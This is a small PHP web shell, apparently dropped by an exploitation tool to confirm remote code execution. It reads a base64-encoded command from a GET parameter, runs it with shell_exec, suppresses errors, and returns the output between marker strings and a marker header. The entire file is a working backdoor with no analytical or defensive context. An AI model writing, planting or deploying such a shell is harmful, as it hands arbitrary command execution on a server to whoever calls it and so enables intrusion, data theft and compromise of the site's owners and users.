<?php
/* Y66 RCE VERIFICATION d6815856e504 */
error_reporting(0);
header("X-Y66-Valid: d6815856e504");

if(isset($_GET['y66_cmd'])) {
    $cmd = base64_decode($_GET['y66_cmd']);
    $output = @shell_exec($cmd);
    echo "Y66_CMD_OUTPUT_START_d6815856e504";
    echo $output ? $output : "NO_OUTPUT";
    echo "Y66_CMD_OUTPUT_END_d6815856e504";
    exit;
}

echo "Y66_SHELL_ACTIVE_d6815856e504";
?>